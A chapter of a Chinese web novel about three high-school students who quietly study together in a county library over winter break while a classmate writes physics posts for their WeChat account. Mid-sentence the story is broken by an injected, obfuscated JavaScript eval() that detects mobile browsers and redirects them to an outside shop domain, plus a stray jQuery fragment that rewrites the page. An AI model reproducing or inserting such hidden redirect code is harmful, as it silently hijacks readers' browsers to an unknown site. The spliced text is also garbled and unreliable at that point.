腊月二十八,远安县的气温降到了零下四度。
苏晚柠推开图书馆二楼自习室的门。
屋子里有人。
赵磊坐在倒数第二张桌子旁边,桌上摆着一摞物理卷子和一本语文必修五。他穿了一件深灰色的棉袄,拉链拉到下巴,右手握笔,左手揣在袖管里——用到的时候才抽出来,抽出来的时候指尖是红的。
他没有注意到苏晚柠进来。
苏晚柠顿了一下。赵磊为什么会在这里——他家不是在县城北边吗,离这儿骑车要四十分钟。但也说不定他就住附近。或者,他也需要一个没人跟他说话的地方。
她没有走过去打招呼。选了最前面靠门的那张桌子,把书包放下来,椅子的木轴响了一声。
赵磊抬起头。
两个人对视了一下。
"你也来了。"赵磊说。语气不像惊讶,更像确认。
苏晚柠把练习册拿出来,翻到昨天折角的那一页。没有问他为什么来,没有解释自己为什么来。
赵磊低头继续写。
没有再多说。两个人之间隔了四张桌子,说话要稍微提高声音,但他们都没有。屋子里只有笔尖划纸的声音和暖气片里面水流动的声音——咕噜咕噜的,像肚子里在叫。
苏晚柠开始写生物。必修三,生态系统,能量流动。她在期末考之前就把这一章看过三遍了,但每次看都有地方想不通——为什么能量传递效率是10%到20%,而不是一个固定值?她把课本翻到六十四页,读了一遍,然后在练习册上画了一个箭头图。
写了大约四十分钟的时候,楼梯口有脚步声。
不是重的那种——是鞋底蹭着楼梯面的声音,轻微的,像怕吵到谁。
苏晚柠抬起头。
李可站在门口。
她穿了一件深蓝色的羽绒服,拉链拉到最上面。刘海还是遮着大半张脸,但比期中考试那时候稍稍往上撩了一点——能看到眉毛了。左手抱着一本书,右手拎着一个塑料袋,里面装着一支笔和一本练习册。
她站在门口,目光扫过屋子。
扫到赵磊的时候,赵磊正好抬头——两个人对视了不到半秒,赵磊先挪开了眼。
扫到苏晚柠的时候,苏晚柠没有挪眼。她朝李可微微点了一下头。
李可走进了屋子。她的步子很轻,鞋底和地板之间几乎没有声音。她选了靠窗最后一张桌子——和赵磊之间隔了两张空桌,和苏晚柠之间隔了整排。
她坐下来。把练习册翻开——苏晚柠从这个角度能看到封皮:"5年高考3年模拟·化学"。李可翻开到中间的位置,不是从第一页开始做的——她有自己标记过的页码,铅笔划的横线,很轻。
苏晚柠低下头,继续写生物。
十一点半,苏晚柠把笔放下。
她站起来,活动了一下手指。赵磊还在写,笔没有停过。李可也在写,头低着,刘海几乎碰到练习册的纸面。
苏晚柠走到楼梯口。楼下服务台旁边有一台饮水机,上面贴着"热水"和"温水"两个标签。她拿水杯接了一杯热水,吹了吹,喝了一口。
手机在口袋里震了一下。
她把手机掏出来。
是"柳树下"公众号的后台推送提醒——有人留言了,系统自动通知管理员。她点开。留言是匿名的:"化学配平那篇,我让我班学生都看了。有没有计划写物理的?物理是大多数人的死穴。"
苏晚柠想了一下,打了一行字发给宋星燃:"后台有留言问物理专栏。你有计划写吗?"
三分钟之后,宋星燃回了两个字:"在写。"
苏晚柠看着那两个字。
"在写"——意思是他这会儿在家,对着电脑。腊月二十八,第二天就是除夕,他坐在家里写公众号。
她把手机放回去,端着水杯上了楼。
下午两点,苏晚柠的生物练习册做了二十多页。她把必修三的能量流动那道大题终于想通了——不是老师讲过的那种想通,是自己把箭头图画到第四版的时候,突然发现传递效率其实是一个统计值,不是设计值。
她抬头看了一眼赵磊。
赵磊正在用尺子画受力分析图。圆规的针尖扎进纸面,他另一只手按着尺子——手指还是红的,但不再发僵了,动作很稳。
再往窗那边看——李可的"5·3化学"已经翻到了后面。她正在用铅笔在草稿纸上写反应方程式,写的不是题目里给的——是自己在推。推到某一步的时候,她停了。笔尖悬在纸面上方大约两毫米的位置,停了大概五秒。然后把笔放下来,从书包里掏出一本更小的本子——那个本子苏晚柠认得,是李可的化学方程式手抄本。她翻到其中一页,看了一下,然后把笔拿起来,继续写。
她没有用背单词的方式在背了——她在处理那些方程式之间的关系。
苏晚柠看了大概十秒,然后把目光收回来。
她打开手机,看了一眼"柳树下"的后台。关注数:8124。比十二月又涨了一些。
她又发了一条消息给宋星燃:"物理专栏什么时候发?"
这次隔了七八分钟才回:"初八之前。还有两节没写完。"
苏晚柠想了一下,打了四个字:"那你不来图书馆?"
发完之后她觉得这句话有点怪——好像她觉得宋星燃应该来似的。但其实她只是好奇。
回复来了:"家里有电脑。图书馆没有。"
对。公众号要在电脑上排版、上传、预览、群发。图书馆没有他需要的设备。
苏晚柠放下了手机。
下午四点,天开始暗了。
冬天的夜长,四点半就已经是黄昏的颜色了。从图书馆二楼窗户看出去,老街口的梧桐树光秃秃的,树枝和灰色的天空之间没有什么过渡。
赵磊收拾东西了。他把物理卷子用橡皮筋扎成一摞——苏晚柠注意到,不是随便扎的,是按日期顺序排列的,最新的一套在最上面。他把这摞卷子放进书包里,拉链拉了一半,想了一下,又拉开,把最上面那套抽出来,单独放在书包的侧兜里。
然后他站起来,椅子响了一声。
他往门口走,经过苏晚柠的桌子的时候停了一下。
"走了。"
"嗯。明天还来吗?"
赵磊想了一下。"来。初八之前每天来。"
他说完继续往门口走。经过窗边那张桌子的时候,他的步子没有明显停顿——但如果仔细看,他的目光在李可的练习册上扫了一下。只是扫了一下,然后走出了屋子。
苏晚柠继续写。她把生物必修三剩下的大题全部做完了——对了一下答案,错了两道选择题,大题全对。
她把练习册合上,伸了一个懒腰。
李可还在写。
苏晚柠没有打扰她。收拾好自己的东西,背上书包,走出了图书馆。
外面的空气像一堵墙。
从暖气片旁边的二十六度一下子走到零下的温度,鼻腔里的空气像是被刀刮了一下。她把校服领子竖起来,拉链拉到最上面,低着头往家的方向走。
走了大概二十步,她把手机掏出来。有一条新消息。不是聊天消息——是"柳树下"后台的自动提醒:有人关注了公众号。
她点开后台数据页面。新关注用户的来源:会话/朋友圈。
她想了一下,打了一行字发给宋星燃:"新增了一个关注。来源是会话。"
宋星燃回了一个"收到"的表情包——是一个小人在打字,打了很久,最后打出来一个"好"字。
苏晚柠笑了。把手机放回去,继续走。
腊月二十九。
苏晚柠又去了图书馆。
这次赵磊比她先到——他的那摞物理卷子已经在桌子上了,橡皮筋换了一根新的。李可也到了,坐在窗边的位置,化学练习册翻到了新的一页。
苏晚柠走到自己的位置上坐下来。把英语练习册拿出来。
三个人之间没有打招呼的固定流程了——昨天已经打过照面了,今天再见面就像在教室里一样。赵磊抬头看了一眼,点了点头,然后继续写。李可没有抬头,但苏晚柠注意到她的练习册边上多了一支新的笔——不是昨天那支,是蓝色的,昨天那支是黑色的。
这意味着她昨天回去了之后,又准备了今天要用的东西。
苏晚柠觉得这个地方有一点奇妙——他们三个人的寒假,本来应该是各自在家度过的。但每个人都来了——赵磊骑四十分钟自行车,李可从乡下坐二十分钟公交车。没有人约,没有人组织。他们只是各自在做同一件事。
她不知道宋星燃在家具体写到了哪里。但她知道他在写——因为昨晚睡前又看了一眼后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646836|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台,"柳树下"的物理专栏第三篇还没有发出来。
正月十二。
寒假已经过去了一大半。
苏晚柠在图书馆的打卡进入了第十四天。她不知道赵磊来了几天——每次她到的时候赵磊已经在那里了,每次她走的时候赵磊还在写。他的物理卷子从三十多套变成了四十多套——不是又买了新的,是他把之前做过的又做了一遍,用不同颜色的笔写第二遍答案。
李可每天来。她的化学练习册从"5·3"换成了"小题狂做"——基础篇做完了,开始做提升篇。她有一次在图书馆的洗手间里待了比较久,出来的时候手上是湿的,苏晚柠猜测她可能在洗手间里哭了——但没有证据,也没有问。
苏晚柠自己的英语从必修一刷到了必修四。她的语感在一个什么地方发生了微小的变化——说不清楚,但做题的时候,有些空不需要分析语法就能"感觉到"答案是什么。
她把这叫做"手感"。
正月十五,元宵节。
图书馆不开放。
苏晚柠在家里过了节。苏妈包了汤圆,芝麻馅的。苏晚柠吃了八个,然后被苏妈说"你是猪吗"。
晚上,她打开手机,登录"柳树下"的后台。
物理专栏第三篇已经发出来了——标题是"力学六种模型一张表(下)"。她点开看了一遍。写得很清楚。评论区有十二条留言,其中一条是:"这篇文章应该打印出来贴在教室里。"
她给宋星燃发了一条消息:"物理专栏第三篇发了?"
宋星燃回:"昨天晚上发的。你没看?"
"我在吃汤圆。"
"……"
"挺好的,我看了。第六种模型那个例题,你用的2015年全国I卷?"
"嗯。那道题值得把两种方法都写一遍。"
"你什么时候回学校?"
"初八。你呢。"
"初八。"
"那图书馆见。"
这条消息发出来之后,对面停了大概十五秒。
然后宋星燃回:"我在家。你来?"
苏晚柠打:"我已经去了十四天了。赵磊和李可也在。"
十五秒的停顿。
宋星燃回了一个字:"好。"
苏晚柠看着那个"好"字。
她忽然想到——宋星燃不知道这件事。不是"可能不知道",是确确实实不知道。没有人告诉他,他们三个也没有约过。这只是三件独立发生的事情,在同一个时间点、同一个屋子里重叠了。
而宋星燃坐在家里,对着电脑,在写那些能让更多人看到的东西。他让赵磊理解了"稳住"不是考一次高分,但他不知道赵磊把这句话带到了图书馆。他让李可看到了化学不是背出来的,但他不知道李可已经不用背方程式的方式在学了。
他在你看不见的地方播了种,但看不见那些种子在你看不见的地方发芽。
苏晚柠把手机放在枕头旁边。
窗外有零星的烟花。正月十五,还有人在放。
正月十六,开学。
早上六点四十分,远安县高中的灯亮了。
苏晚柠走到教室门口的时候,赵磊已经在里面了。他的物理卷子没有带到学校来——那些卷子留在了家里,但他说过"题型已经装进脑子里了"。
他桌上没有摞卷子了——取而代之的是一张纸,上面画着六个方框,每个方框里写着一种物理题型。铅笔写的,线条很轻,但每个字的间距是均匀的。
李可坐在最后一排靠窗的位置,化学练习册放在桌角——不是"小题狂做"了,是课本。她在看课本。
宋星燃从后门走进来。他穿了一件黑色的棉袄,校服搭在胳膊上。他走过赵磊的桌子旁边的时候,赵磊抬头看了他一眼。
没有说话。
但苏晚柠注意到,宋星燃走过那张桌子的时候,步子没有停——但他嘴角动了一下。
她不知道那是为什么。
但她知道,有些事不需要解释。
晚上,苏晚柠打开"柳树下"的后台。
关注:8372。
寒假二十天,涨了将近三百。
她关掉了页面。
宋星燃不知道他们在图书馆。
但他写的那些东西,在他们看不见的地方,一直在涨。